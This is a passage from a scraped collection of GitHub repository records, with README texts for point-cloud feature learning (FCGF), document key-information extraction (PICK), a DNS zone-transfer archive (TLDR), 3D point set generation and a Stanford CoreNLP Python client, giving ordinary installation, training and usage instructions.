![Table](assets/table.png)   | ![Accuracy vs. Speed](assets/fps_acc.png) |\n\n*Feature-match recall and speed in log scale on the 3DMatch benchmark. Our approach is the most accurate and the fastest. The gray region shows the Pareto frontier of the prior methods.*\n\n\n### Related Works\n\n3DMatch by Zeng et al. uses a Siamese convolutional network to learn 3D patch descriptors.\nCGF by Khoury et al. maps 3D oriented histograms to a low-dimensional feature space using multi-layer perceptrons. PPFNet and PPF FoldNet by Deng et al. adapts the PointNet architecture for geometric feature description. 3DFeat by Yew and Lee uses a PointNet to extract features in outdoor scenes.\n\nOur work addressed a number of limitations in the prior work. First, all prior approaches extract a small 3D patch or a set of points and map it to a low-dimensional space. This not only limits the receptive field of the network but is also computationally inefficient since all intermediate representations are computed separately even for overlapping 3D regions. Second, using expensive low-level geometric signatures as input can slow down feature computation. Lastly, limiting feature extraction to a subset of interest points results in lower spatial resolution for subsequent matching stages and can thus reduce registration accuracy.\n\n\n### Fully Convolutional Metric Learning, Hardest Contrastive, and Hardest Triplet Loss\n\nTraditional metric learning assumes that the features are independent and identically distributed (i.i.d.) since a batch is constructed by random sampling. However, in fully-convolutional metric learning first proposed in [Universal Correspondence Network, Choy 2016](https://github.com/chrischoy/open-ucn), adjacent features are locally correlated and hard-negative mining could find features adjacent to anchors, which are false negatives. Thus, filtering out these false negatives is a crucial step similar to how Universal Correspondence Network used a distance threshold to filter out the false negatives.\n\nAlso, the number of features used in the fully-convolutional setting is orders of magnitude larger than that in standard metric learning algorithms. For instance, FCGF generates ~40k features for a pair of scans (this increases proportionally with the batch size) while a minibatch in traditional metric learning has around 1k features. Thus, it is not feasible to use all pairwise distances within a batch in the standard metric learning.\n\nInstead, we propose the hardest-contrastive loss and the hardest-triplet loss. Visually, these are simple variants that use the hardest negatives for both features within a positive pair.\nOne of the key advantages of the hardest-contrastive loss is that you do not need to save the temporary variables used to find the hardest negatives. This small change allows us to reconstruct the loss from the hardest negatives indices and throw away the intermediate results among a large number of feature. [Here](https://github.com/chrischoy/open-ucn/blob/master/lib/ucn_trainer.py#L435), we used almost 40k features to mine the hardest negative and destroy all intermediate variables once the indices of the hardest negatives are found for each positive feature.\n\n| Contrastive Loss   | Triplet Loss       | Hardest Contrastive | Hardest Triplet    |\n|:------------------:|:------------------:|:-------------------:|:------------------:|\n| ![1](assets/1.png) | ![2](assets/2.png) | ![3](assets/3.png)  | ![4](assets/4.png) |\n\n*Sampling and negative-mining strategy for each method. Blue: positives, Red: Negatives. Traditional contrastive and triplet losses use random sampling. Our hardest-contrastive and hardest-triplet losses use the hardest negatives.*\n\nPlease refer to our [ICCV'19 paper](https://node1.chrischoy.org/data/publications/fcgf/fcgf.pdf) for more details.\n\n\n### Visualization of FCGF\n\nWe color-coded FCGF features for pairs of 3D scans that are 10m apart for KITTI and a 3DMatch benchmark pair for indoor scans. FCGF features are mapped to a scalar space using t-SNE and colorized with the Spectral color map.\n\n| KITTI LIDAR Scan 1   | KITTI LIDAR Scan 2   |\n|:--------------------:|:--------------------:|\n| ![0](assets/3_1.png) | ![1](assets/3_2.png) |\n\n| Indoor Scan 1              | Indoor Scan 2              |\n|:--------------------------:|:--------------------------:|\n| ![0](assets/kitchen_0.png) | ![1](assets/kitchen_1.png) |\n\n#### FCGF Correspondence Visualizations\n\nPlease follow the link [Youtube Video](https://www.youtube.com/watch?v=d0p0eTaB50k) or click the image to view the YouTube video of FCGF visualizations.\n[![](assets/text_scene000.gif)](https://www.youtube.com/watch?v=d0p0eTaB50k)\n\n## Requirements\n\n- Ubuntu 14.04 or higher\n- CUDA 11.1 or higher\n- Python v3.7 or higher\n- Pytorch v1.6 or higher\n- [MinkowskiEngine](https://github.com/stanfordvl/MinkowskiEngine) v0.5 or higher\n\n\n## Installation & Dataset Download\n\n\nWe recommend conda for installation. First, create a conda environment with pytorch 1.5 or higher with\n\n```\nconda create -n py3-fcgf python=3.7\nconda activate py3-fcgf\nconda install pytorch -c pytorch\npip install git+https://github.com/NVIDIA/MinkowskiEngine.git\n```\n\nNext, download FCGF git repository and install the requirement from the FCGF root directory..\n\n```\ngit clone https://github.com/chrischoy/FCGF.git\ncd FCGF\n# Do the following inside the conda environment\npip install -r requirements.txt\n```\n\nFor training, download the preprocessed 3DMatch benchmark dataset.\n\n```\n./scripts/download_datasets.sh /path/to/dataset/download/dir\n```\n\nFor KITTI training, follow the instruction on [KITTI Odometry website](http://www.cvlibs.net/datasets/kitti/eval_odometry.php) to download the KITTI odometry training set.\n\n\n## Demo: Extracting and color coding FCGF\n\nAfter installation, you can run the demo script by\n\n```\npython demo.py\n```\n\nThe demo script will first extract FCGF features from a mesh file generated from a kitchen scene. Next, it will color code the features independent of their spatial location.\nAfter the color mapping using TSNE, the demo script will visualize the color coded features by coloring the input point cloud.\n\n![demo](./assets/demo.png)\n\n*You may have to rotate the scene to get the above visualization.*\n\n\n## Training and running 3DMatch benchmark\n\n```\npython train.py --threed_match_dir /path/to/threedmatch/\n```\n\nFor benchmarking the trained weights on 3DMatch, download the 3DMatch Geometric Registration Benchmark dataset from [here](http://3dmatch.cs.princeton.edu/) or run\n\n```\nbash ./scripts/download_3dmatch_test.sh /path/to/threedmatch_test/\n```\n\nand follow:\n\n```\npython -m scripts.benchmark_3dmatch.py \\\n    --source /path/to/threedmatch \\\n    --target ./features_tmp/ \\\n    --voxel_size 0.025 \\\n    --model ~/outputs/checkpoint.pth \\\n    --extract_features --evaluate_feature_match_recall --with_cuda\n```\n\n\n## Training and testing on KITTI Odometry custom split\n\nFor KITTI training, follow the instruction on [KITTI Odometry website](http://www.cvlibs.net/datasets/kitti/eval_odometry.php) to download the KITTI odometry training set.\n\n```\nexport KITTI_PATH=/path/to/kitti/; ./scripts/train_fcgf_kitti.sh\n```\n\n## Registration Test on 3DMatch\n\n\n\n## Model Zoo\n\n| Model       | Normalized Feature  | Dataset | Voxel Size    | Feature Dimension | Performance                | Link   |\n|:-----------:|:-------------------:|:-------:|:-------------:|:-----------------:|:--------------------------:|:------:|\n| ResUNetBN2C | True                | 3DMatch | 2.5cm (0.025) | 32                | FMR: 0.9578 +- 0.0272      | [download](https://node1.chrischoy.org/data/publications/fcgf/2019-08-19_06-17-41.pth) |\n| ResUNetBN2C | True                | 3DMatch | 2.5cm (0.025) | 16                | FMR: 0.9442 +- 0.0345      | [download](https://node1.chrischoy.org/data/publications/fcgf/2019-09-18_14-15-59.pth) |\n| ResUNetBN2C | True                | 3DMatch | 5cm   (0.05)  | 32                | FMR: 0.9372 +- 0.0332      | [download](https://node1.chrischoy.org/data/publications/fcgf/2019-08-16_19-21-47.pth) |\n| ResUNetBN2C | False               | KITTI   | 20cm  (0.2)   | 32                | RTE: 0.0534m, RRE: 0.1704\u00b0 | [download](https://node1.chrischoy.org/data/publications/fcgf/2019-07-31_19-30-19.pth) |\n| ResUNetBN2C | False               | KITTI   | 30cm  (0.3)   | 32                | RTE: 0.0607m, RRE: 0.2280\u00b0 | [download](https://node1.chrischoy.org/data/publications/fcgf/2019-07-31_19-37-00.pth) |\n| ResUNetBN2C | True                | KITTI   | 30cm  (0.3)   | 16                | RTE: 0.0670m, RRE: 0.2295\u00b0 | [download](https://node1.chrischoy.org/data/publications/fcgf/KITTI-v0.3-ResUNetBN2C-conv1-5-nout16.pth) |\n| ResUNetBN2C | True                | KITTI   | 30cm  (0.3)   | 32                | RTE: 0.0639m, RRE: 0.2253\u00b0 | [download](https://node1.chrischoy.org/data/publications/fcgf/KITTI-v0.3-ResUNetBN2C-conv1-5-nout32.pth) |\n\n\n## Raw Data for FCGF Figure 4\n\n- [Distance threshold data](https://raw.githubusercontent.com/chrischoy/FCGF/master/assets/fig4_dist_thresh.txt)\n- [Inlier threshold data](https://raw.githubusercontent.com/chrischoy/FCGF/master/assets/fig4_inlier_thresh.txt)\n\n\n## Citing FCGF\n\nFCGF will be presented at ICCV'19: Friday, November 1, 2019, 1030\u20131300 Poster 4.1 (Hall B)\n\n```\n@inproceedings{FCGF2019,\n    author = {Christopher Choy and Jaesik Park and Vladlen Koltun},\n    title = {Fully Convolutional Geometric Features},\n    booktitle = {ICCV},\n    year = {2019},\n}\n```\n\n## Related Projects\n\n- A neural network library for high-dimensional sparse tensors: [Minkowski Engine, CVPR'19](https://github.com/StanfordVL/MinkowskiEngine)\n- Semantic segmentation on a high-dimensional sparse tensor: [4D Spatio Temporal ConvNets, CVPR'19](https://github.com/chrischoy/SpatioTemporalSegmentation)\n- The first fully convolutional metric learning for correspondences: [Universal Correspondence Network, NIPS'16](https://github.com/chrischoy/open-ucn)\n- 3D Registration Network with 6-dimensional ConvNets: [Deep Global Registration, CVPR'20](https://github.com/chrischoy/DeepGlobalRegistration)\n\n\n## Projects using FCGF\n\n- Gojcic et al., [Learning multiview 3D point cloud registration, CVPR'20](https://arxiv.org/abs/2001.05119)\n- Choy et al., [Deep Global Registration, CVPR'20 Oral](https://arxiv.org/abs/2004.11540)\n\n\n## Acknowledgements\n\nWe want to thank all the ICCV reviewers, especially R2, for suggestions and valuable pointers.\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "wenwenyu/PICK-pytorch", "link": "https://github.com/wenwenyu/PICK-pytorch", "tags": ["key-information-extraction", "document-analysis", "graph-neural-networks", "graph-convolutional-network", "graph-learning", "document-understanding"], "stars": 506, "description": "Code for the paper \"PICK: Processing Key Information Extraction from Documents using Improved Graph Learning-Convolutional Networks\" (ICPR 2020)", "lang": "Python", "repo_lang": "", "readme": "# PICK-PyTorch\n**\\*\\*\\*\\*\\* Updated on Feb 6th, 2021: Train Ticket dataset\nis now available for academic research. You can download from [Google Drive](https://drive.google.com/file/d/1o8JktPD7bS74tfjz-8dVcZq_uFS6YEGh/view?usp=sharing) or \n[OneDrive](https://victoriaca-my.sharepoint.com/:u:/g/personal/wenwenyu_ncov_office_gy/EWXExdVdpiFAj76yxjpvK2oBCM2SRTtg3O1aybRuY0Jm6g?e=6eW9gI). \nIt contains 1,530 synthetic images and 320 real images for training, and 80 real images for testing.\nPlease refer to our [paper](https://arxiv.org/abs/2004.07464)\nfor more details about how to sample training/testing set from\n[EATEN](https://github.com/beacandler/EATEN) and generate the corresponding annotations.\\*\\*\\*\\*\\***\n\n**\\*\\*\\*\\*\\* Updated on Sep 17th, 2020: A training example on the large-scale document understanding dataset, \n[DocBank](https://doc-analysis.github.io/docbank-page/), \nis now available. Please refer to [examples/DocBank/README.md](examples/DocBank/README.md) \nfor more details. Thanks [TengQi Ye\n](https://github.com/tengerye) for this contribution.\\*\\*\\*\\*\\***\n\nPyTorch reimplementation of [\"PICK: Processing Key Information Extraction from Documents using Improved Graph \nLearning-Convolutional Networks\"](https://arxiv.org/abs/2004.07464) (ICPR 2020). This project is different from \nour original implementation.\n\n<!-- @import \"[TOC]\" {cmd=\"toc\" depthFrom=1 depthTo=6 orderedList=false} -->\n\n<!-- code_chunk_output -->\n\n* Contents\n    * [Introduction](#introduction)\n\t* [Requirements](#requirements)\n\t* [Usage](#usage)\n\t\t* [Distributed training with config files](#distributed-training-with-config-files)\n\t\t* [Using Multiple Node](#using-multiple-node)\n\t\t* [Resuming from checkpoints](#resuming-from-checkpoints)\n\t\t* [Debug mode on one GPU/CPU training with config files](#debug-mode-on-one-gpucpu-training-with-config-files)\n\t\t* [Testing from checkpoints](#testing-from-checkpoints)\n\t* [Customization](#customization)\n\t    * [Training custom datasets](#training-custom-datasets)\n\t\t* [Checkpoints](#checkpoints)\n        * [Tensorboard Visualization](#tensorboard-visualization)\n\t* [Results on Train Ticket](#results-on-train-ticket)\n    * [TODOs](#todos)\n    * [Citations](#citations)\n\t* [License](#license)\n\t* [Acknowledgements](#acknowledgements)\n\n<!-- /code_chunk_output -->\n\n## Introduction\nPICK is a framework that is effective and robust in handling complex documents layout for Key Information Extraction (KIE) by \ncombining graph learning with graph convolution operation, yielding a richer semantic representation \ncontaining the textual and visual features and global layout without ambiguity. Overall architecture shown follows.\n\n![Overall](assets/overall.png)\n\n## Requirements\n* python = 3.6 \n* torchvision = 0.6.1\n* tabulate = 0.8.7\n* overrides = 3.0.0\n* opencv_python = 4.3.0.36\n* numpy = 1.16.4\n* pandas = 1.0.5\n* allennlp = 1.0.0\n* torchtext = 0.6.0\n* tqdm = 4.47.0\n* torch = 1.5.1\n```bash\npip install -r requirements.txt\n```\n\n## Usage\n\n### Distributed training with config files\nModify the configurations in `config.json` and `dist_train.sh` files, then run:\n```bash\nbash dist_train.sh\n```\nThe application will be launched via `launch.py` on a 4 GPU node with one process per GPU (recommend).\n\nThis is equivalent to\n```bash\npython -m torch.distributed.launch --nnodes=1 --node_rank=0 --nproc_per_node=4 \\\n--master_addr=127.0.0.1 --master_port=5555 \\\ntrain.py -c config.json -d 1,2,3,4 --local_world_size 4\n```\nand is equivalent to specify indices of available GPUs by `CUDA_VISIBLE_DEVICES` instead of `-d` args\n```bash\nCUDA_VISIBLE_DEVICES=1,2,3,4 python -m torch.distributed.launch --nnodes=1 --node_rank=0 --nproc_per_node=4 \\\n--master_addr=127.0.0.1 --master_port=5555 \\\ntrain.py -c config.json --local_world_size 4\n```\nSimilarly, it can be launched with a single process that spans all 4 GPUs (if node has 4 available GPUs) \nusing (don't recommend):\n```bash\nCUDA_VISIBLE_DEVICES=1,2,3,4 python -m torch.distributed.launch --nnodes=1 --node_rank=0 --nproc_per_node=1 \\\n--master_addr=127.0.0.1 --master_port=5555 \\\ntrain.py -c config.json --local_world_size 1\n```\n### Using Multiple Node\nYou can enable multi-node multi-GPU training by setting `nnodes` and `node_rank` args of the commandline line on every node.\ne.g., 2 nodes 4 gpus run as follows\n  \n  Node 1, ip: 192.168.0.10, then run on node 1 as follows\n  ```\nCUDA_VISIBLE_DEVICES=1,2,3,4 python -m torch.distributed.launch --nnodes=2 --node_rank=0 --nproc_per_node=4 \\\n--master_addr=192.168.0.10 --master_port=5555 \\\ntrain.py -c config.json --local_world_size 4  \n```\n   Node 2, ip: 192.168.0.15, then run on node 2 as follows\n  ```\nCUDA_VISIBLE_DEVICES=2,4,6,7 python -m torch.distributed.launch --nnodes=2 --node_rank=1 --nproc_per_node=4 \\\n--master_addr=192.168.0.10 --master_port=5555 \\\ntrain.py -c config.json --local_world_size 4  \n```\n  \n### Resuming from checkpoints\nYou can resume from a previously saved checkpoint by:\n\n  ```\n  python -m torch.distributed.launch --nnodes=1 --node_rank=0 --nproc_per_node=4 \\\n--master_addr=127.0.0.1 --master_port=5555 \\\ntrain.py -d 1,2,3,4 --local_world_size 4 --resume path/to/checkpoint\n  ```\n\n### Debug mode on one GPU/CPU training with config files\nThis option of training mode can debug code without distributed way. `-dist` must set to `false` to \nturn off distributed mode. `-d` specify which one gpu will be used.\n```bash\npython train.py -c config.json -d 1 -dist false\n```\n\n### Testing from checkpoints\nYou can test from a previously saved checkpoint by:\n\n  ```\n  python test.py --checkpoint path/to/checkpoint --boxes_transcripts path/to/boxes_transcripts \\\n                 --images_path path/to/images_path --output_folder path/to/output_folder \\\n                 --gpu 0 --batch_size 2\n  ```\n  \n## Customization\n\n### Training custom datasets\nYou can train your own datasets following the steps outlined below.\n1. Prepare the correct format of files as provided in `data` folder.\n   * Please see [data/README.md](data/README.md) an instruction how to prepare the data in required format for PICK.\n2. Modify `train_dataset` and  `validation_dataset` args in `config.json` file, including `files_name`, \n`images_folder`, `boxes_and_transcripts_folder`, `entities_folder`, `iob_tagging_type` and `resized_image_size`. \n3. Modify `Entities_list` in `utils/entities_list.py` file according to the entity type of your dataset.\n4. Modify `keys.txt` in `utils/keys.txt` file if needed according to the vocabulary of your dataset.\n5. Modify `MAX_BOXES_NUM` and `MAX_TRANSCRIPT_LEN` in `data_tuils/documents.py` file if needed.\n\n**Note**: The self-build datasets our paper used cannot be shared for patient privacy and proprietary issues.\n\n### Checkpoints\nYou can specify the name of the training session in `config.json` files:\n  ```json\n  \"name\": \"PICK_Default\",\n  \"run_id\": \"test\"\n  ```\n\nThe checkpoints will be saved in `save_dir/name/run_id_timestamp/checkpoint_epoch_n`, with timestamp in mmdd_HHMMSS format.\n\nA copy of `config.json` file will be saved in the same folder.\n\n**Note**: checkpoints contain:\n  ```python\n  {\n    'arch': arch,\n    'epoch': epoch,\n    'state_dict': self.model.state_dict(),\n    'optimizer': self.optimizer.state_dict(),\n    'monitor_best': self.monitor_best,\n    'config': self.config\n  }\n  ```\n\n### Tensorboard Visualization\nThis project supports Tensorboard visualization by using either  `torch.utils.tensorboard` or [TensorboardX](https://github.com/lanpa/tensorboardX).\n\n1. **Install**\n\n    If you are using pytorch 1.1 or higher, install tensorboard by 'pip install tensorboard>=1.14.0'.\n\n    Otherwise, you should install tensorboardx. Follow installation guide in [TensorboardX](https://github.com/lanpa/tensorboardX).\n\n2. **Run training** \n\n    Make sure that `tensorboard` option in the config file is turned on.\n\n    ```\n     \"tensorboard\" : true\n    ```\n\n3. **Open Tensorboard server** \n\n    Type `tensorboard --logdir saved/log/` at the project root, then server will open at `http://localhost:6006`\n\nBy default, values of loss  will be logged. If you need more visualizations, use `add_scalar('tag', data)`, `add_image('tag', image)`, etc in the `trainer._train_epoch` method.\n`add_something()` methods in this project are basically wrappers for those of `tensorboardX.SummaryWriter` and `torch.utils.tensorboard.SummaryWriter` modules. \n\n**Note**: You don't have to specify current steps, since `WriterTensorboard` class defined at `logger/visualization.py` will track current steps.\n\n## Results on Train Ticket\n![example](assets/example.png)\n\n## TODOs\n- [ ] ~~Dataset cache mechanism to speed up training loop~~\n- [x] Multi-node multi-gpu setup (DistributedDataParallel)\n\n## Citations\nIf you find this code useful please cite our [paper](https://arxiv.org/abs/2004.07464):\n```bibtex\n@inproceedings{Yu2020PICKPK,\n  title={{PICK}: Processing Key Information Extraction from Documents using \n  Improved Graph Learning-Convolutional Networks},\n  author={Wenwen Yu and Ning Lu and Xianbiao Qi and Ping Gong and Rong Xiao},\n  booktitle={2020 25th International Conference on Pattern Recognition (ICPR)},\n  year={2020}\n}\n```\n\n## License\nThis project is licensed under the MIT License. See LICENSE for more details.\n\n## Acknowledgements\nThis project structure takes example by [PyTorch Template Project](https://github.com/victoresque/pytorch-template).\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "mandatoryprogrammer/TLDR", "link": "https://github.com/mandatoryprogrammer/TLDR", "tags": [], "stars": 505, "description": "TLDR (TLD Records) is a continually updated DNS archive of zone transfer attempts again all existing TLD nameservers as well as the root servers.", "lang": "Python", "repo_lang": "", "readme": "# UPDATE - THIS IS NO LONGER IN OPERATION.\n\nThis archive is no longer being updated with new zone files. See https://github.com/flotwig/TLDR-2 for an actively updated fork of this project.\n\n# TLDR - A Continuously Updated Historical TLD Records Archive\nThis repository is updated approximately every two hours with the results from [DNS zone transfer attempts](https://en.wikipedia.org/wiki/DNS_zone_transfer) against the [root nameservers](https://en.wikipedia.org/wiki/Root_name_server) and all existing TLD servers. This is done to keep record of zone files for various TLDs and to monitor how these zones change overtime.\n\n# View Changes in TLD DNS Data\n[Click here to view the list of commits and see how the various TLD & root zones change overtime.](https://github.com/mandatoryprogrammer/TLDR/commits/master)\n\n# View List of TLDs & Roots With Zone Transfers Enabled\n[Click here to view the list of nameservers with zone transfers enabled.](https://github.com/mandatoryprogrammer/TLDR/blob/master/transferable_zones.md)\n\n# Zone Transfers for Roots and TLDs\nAllowing global zone transfers is sometimes considered a security vulnerability due to this functionality giving attackers the ability to easily enumerate all DNS zone data for a specific domain. This is often seen as an issue for system administrators who want to make enumeration of sub-domains and other DNS data hard for malicious actors.\n\nHowever, when it comes to TLDs and the root nameservers, zone transfers are shown in a different light. Zone transfers at this level can be benificial as they are an easy way for a TLD to be transparent about its DNS changes. This project is **not** meant to encourage TLD DNS hosting providers to disable global zone transfers but rather to gather data on the ever-changing zone information for the Internet's TLDs.\n\n## Credit\nThis project was inspired by Peter Bowen's work which can be found here: https://github.com/pzb/TLDs\n", "readme_type": "markdown", "hn_comments": "Direct download link: https://github.com/mandatoryprogrammer/TLDR/raw/master/archi...<HN_SEP>", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "fanhqme/PointSetGeneration", "link": "https://github.com/fanhqme/PointSetGeneration", "tags": [], "stars": 505, "description": "Code for ``A Point Set Generation Network for 3D Object Reconstruction from a Single Image''", "lang": "Python", "repo_lang": "", "readme": "## Using the code\n\nTraining scripts and a couple of trained demo networks are included. More demos and the complete set of data are on the road.\n\n**KMZ file of the ShapeNet shapes used in this experiment are released! See the end of this page**\n**The full training batches used in this experiment are released! See the end of this page**\n\nMake sure you have python-numpy, python-opencv, tensorflow, tflearn, CUDA, etc.\nSome paths are configured in makefile. Overwrite them properly.\n\n### Running the demo\n\nIf you just want to try the demo, cd into the demo directory, and run\n```\n$ python runsingleimage.py 1.png 1_m.png twobranch_v1.pkl\n$ python view.py 1.png.txt\n```\nThe .pkl files can be found in the google drive:\n- version 1 (used in the paper) https://drive.google.com/file/d/0B0gQFbJEIJ4kT3lCUy1UQVlZQnc/view?usp=sharing\n- version 2 (improved) https://drive.google.com/file/d/0B0gQFbJEIJ4kUTc2cGlDeDh6VGs/view?usp=sharing\n\nThe first script runs the code on the image 1.png with segmentation mask 1_m.png using neural network weights twobranch_v1.pkl. Another set of weights twobranch_v2.pkl seems more robust. The input images must be of size 256x192. The second script visualizes the predicted point cloud. Move your mouse over the window to rotate the point cloud.\n\n**If you want to try the networks on your own captured image, see ImageCaptureGuide.pdf first.**\n\nWe have also included a trained network corresponding to the R2N2 paper's setting. you can download runr2n2_128_v1.pkl from\nhttps://drive.google.com/file/d/0B0gQFbJEIJ4kQVdpeVBNb2RJTlk/view?usp=sharing\nand run\n```\n$ python runr2n2_128.py r1.png runr2n2_128_v1.pkl\n$ python view.py r1.png.txt\n```\n\n### Training\n\nIf you are interested in training a network, here are the instructions.\n\nCompiling CUDA code\n```\n$ make\n```\n\nUsage of training script:\n\n* Predict on validation set\n```\t\n$ python train_nn.py [data=<path>] [dump=<path>] [num=<number>] predict\nexample: $ python train_nn.py data=data dump=dump num=3 predict\n```\n\t\t\n* Visualualize dumpped prediction (press space to view the next one)\n```\n$ python python visualizeptexample.v.py <path>/train_nn.v.pkl\nexample: $ python visualizeptexample.v.py dump/train_nn.v.pkl\n```\n\t\t\n* Train\n```\n$ python train_nn.py [data=<path>] [dump=<path>] train\nexample: $ python train_nn.py data=data dump=dump train\n```\n\n## Format of training data\nA few minibatches of processed training data is in the data/ folder.\n\n.bin.gz files here are not gzipped file (sorry).\n```\npython traindataviewer.py data/0/0.gz\n```\nThis shows a batch of training data. The loadBinFile function returns a tuple containing the color image, depth image, ground truth point cloud and model key names.\n\nBelow is the complete set of training data. Download them all into the data/ folder.\nhttps://www.dropbox.com/sh/68kfpqut2y75etz/AABtIn2LUMALTnULSTUr5ZlUa?dl=0\n\nBelow is more data that might be useful. Notice: you must use https.\n\nhttps://shapenet.cs.stanford.edu/media/sampledata_220k.tar\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "stanfordnlp/python-stanford-corenlp", "link": "https://github.com/stanfordnlp/python-stanford-corenlp", "tags": ["corenlp", "corenlp-server", "nlp"], "stars": 505, "description": "Python interface to CoreNLP using a bidirectional server-client interface.", "lang": "Python", "repo_lang": "", "readme": "Stanford CoreNLP Python Interface\n=================================\n\n**NOTE:** This package is now deprecated. Please use the `stanza <https://github.com/stanfordnlp/stanza>`_ package instead.\n\n\n.. image:: https://travis-ci.org/stanfordnlp/python-stanford-corenlp.svg?branch=master\n    :target: https://travis-ci.org/stanfordnlp/python-stanford-corenlp\n\nThis package contains a python interface for `Stanford CoreNLP\n<https://github.com/stanfordnlp/CoreNLP>`_ that contains a reference\nimplementation to interface with the `Stanford CoreNLP server\n<https://stanfordnlp.github.io/CoreNLP/corenlp-server.html>`_.\nThe package also contains a base class to expose a python-based annotation\nprovider (e.g. your favorite neural NER system) to the CoreNLP\npipeline via a lightweight service.\n\nTo use the package, first download the `official java CoreNLP release \n<https://stanfordnlp.github.io/CoreNLP/#download>`_, unzip it, and define an environment\nvariable :code:`$CORENLP_HOME` that points to the unzipped directory.\n\nYou can also install this package from `PyPI <https://pypi.python.org/pypi/stanford-corenlp/>`_ using :code:`pip install stanford-corenlp` \n\n----\n\nCommand Line Usage\n------------------\nProbably the easiest way to use this package is through the `annotate` command-line utility::\n\n    usage: annotate [-h] [-i INPUT] [-o OUTPUT] [-f {json}]\n                    [-a ANNOTATORS [ANNOTATORS ...]] [-s] [-v] [-m MEMORY]\n                    [-p PROPS [PROPS ...]]\n\n    Annotate data\n\n    optional arguments:\n      -h, --help            show this help message and exit\n      -i INPUT, --input INPUT\n                            Input file to process; each line contains one document\n                            (default: stdin)\n      -o OUTPUT, --output OUTPUT\n                            File to write annotations to (default: stdout)\n      -f {json}, --format {json}\n                            Output format\n      -a ANNOTATORS [ANNOTATORS ...], --annotators ANNOTATORS [ANNOTATORS ...]\n                            A list of annotators\n      -s, --sentence-mode   Assume each line of input is a sentence.\n      -v, --verbose-server  Server is made verbose\n      -m MEMORY, --memory MEMORY\n                            Memory to use for the server\n      -p PROPS [PROPS ...], --props PROPS [PROPS ...]\n                            Properties as a list of key=value pairs\n\n\nWe recommend using `annotate` in conjuction with the wonderful `jq`\ncommand to process the output. As an example, given a file with a\nsentence on each line, the following command produces an equivalent\nspace-separated tokens::\n\n    cat file.txt | annotate -s -a tokenize | jq '[.tokens[].originalText]' > tokenized.txt\n\n\nAnnotation Server Usage\n-----------------------\n\n.. code-block:: python\n\n  import corenlp\n\n  text = \"Chris wrote a simple sentence that he parsed with Stanford CoreNLP.\"\n\n  # We assume that you've downloaded Stanford CoreNLP and defined an environment\n  # variable $CORENLP_HOME that points to the unzipped directory.\n  # The code below will launch StanfordCoreNLPServer in the background\n  # and communicate with the server to annotate the sentence.\n  with corenlp.CoreNLPClient(annotators=\"tokenize ssplit pos lemma ner depparse\".split()) as client:\n    ann = client.annotate(text)\n\n  # You can access annotations using ann.\n  sentence = ann.sentence[0]\n\n  # The corenlp.to_text function is a helper function that\n  # reconstructs a sentence from tokens.\n  assert corenlp.to_text(sentence) == text\n\n  # You can access any property within a sentence.\n  print(sentence.text)\n\n  # Likewise for tokens\n  token = sentence.token[0]\n  print(token.lemma)\n\n  # Use tokensregex patterns to find who wrote a sentence.\n  pattern = '([ner: PERSON]+) /wrote/ /an?/ []{0,3} /sentence|article/'\n  matches = client.tokensregex(text, pattern)\n  # sentences contains a list with matches for each sentence.\n  assert len(matches[\"sentences\"]) == 1\n  # length tells you whether or not there are any matches in this\n  assert matches[\"sentences\"][0][\"length\"] == 1\n  # You can access matches like most regex groups.\n  matches[\"sentences\"][1][\"0\"][\"text\"] == \"Chris wrote a simple sentence\"\n  matches[\"sentences\"][1][\"0\"][\"1\"][\"text\"] == \"Chris\"\n\n  # Use semgrex patterns to directly find who wrote what.\n  pattern = '{word:wrote} >nsubj {}=subject >dobj {}=object'\n  matches = client.semgrex(text, pattern)\n  # sentences contains a list with matches for each sentence.\n  assert len(matches[\"sentences\"]) == 1\n  # length tells you whether or not there are any matches in this\n  assert matches[\"sentences\"][0][\"length\"] == 1\n  # You can access matches like most regex groups.\n  matches[\"sentences\"][1][\"0\"][\"text\"] == \"wrote\"\n  matches[\"sentences\"][1][\"0\"][\"$subject\"][\"text\"] == \"Chris\"\n  matches[\"sentences\"][1][\"0\"][\"$object\"][\"text\"] == \"sentence\"\n\nSee `test_client.py` and `test_protobuf.py` for more examples. Props to\n@dan-zheng for tokensregex/semgrex support.\n\n\nAnnotation Service Usage\n------------------------\n\n*NOTE*: The annotation service allows users to provide a custom\nannotator to be used by the CoreNLP pipeline. Unfortunately, it relies\non experimental code internal to the Stanford CoreNLP project is not yet\navailable for public use.\n\n.. code-block:: python\n\n    import corenlp\n    from .happyfuntokenizer import Tokenizer\n\n    class HappyFunTokenizer(Tokenizer, corenlp.Annotator):\n        def __init__(self, preserve_case=False):\n            Tokenizer.__init__(self, preserve_case)\n            corenlp.Annotator.__init__(self)\n\n        @property\n        def name(self):\n            \"\"\"\n            Name of the annotator (used by CoreNLP)\n            \"\"\"\n            return \"happyfun\"\n\n        @property\n        def requires(self):\n            \"\"\"\n            Requires has to specify all the annotations required before we\n            are called.\n            \"\"\"\n            return []\n\n        @property\n        def provides(self):\n            \"\"\"\n            The set of annotations guaranteed to be provided when we are done.\n            NOTE: that these annotations are either fully qualified Java\n            class names or refer to nested classes of\n            edu.stanford.nlp.ling.CoreAnnotations (as is the case below).\n            \"\"\"\n            return [\"TextAnnotation\",\n                    \"TokensAnnotation\",\n                    \"TokenBeginAnnotation\",\n                    \"TokenEndAnnotation\",\n                    \"CharacterOffsetBeginAnnotation\",\n                    \"CharacterOffsetEndAnnotation\",\n                   ]\n\n        def annotate(self, ann):\n            \"\"\"\n            @ann: is a protobuf annotation object.\n            Actually populate @ann with tokens.\n            \"\"\"\n            buf, beg_idx, end_idx = ann.text.lower(), 0, 0\n            for i, word in enumerate(self.tokenize(ann.text)):\n                token = ann.sentencelessToken.add()\n                # These are the bare minimum required for the TokenAnnotation\n                token.word = word\n                token.tokenBeginIndex = i\n                token.tokenEndIndex = i+1\n\n                # Seek into the txt until you can find this word.\n                try:\n                    # Try to update beginning index\n                    beg_idx = buf.index(word, beg_idx)\n                except ValueError:\n                    # Give up -- this will be something random\n                    end_idx = beg_idx + len(word)\n\n                token.beginChar = beg_idx\n                token.endChar = end_idx\n\n                beg_idx, end_idx = end_idx, end_idx\n\n    annotator = HappyFunTokenizer()\n    # Calling .start() will launch the annotator as a service running on\n    # port 8432 by default.\n    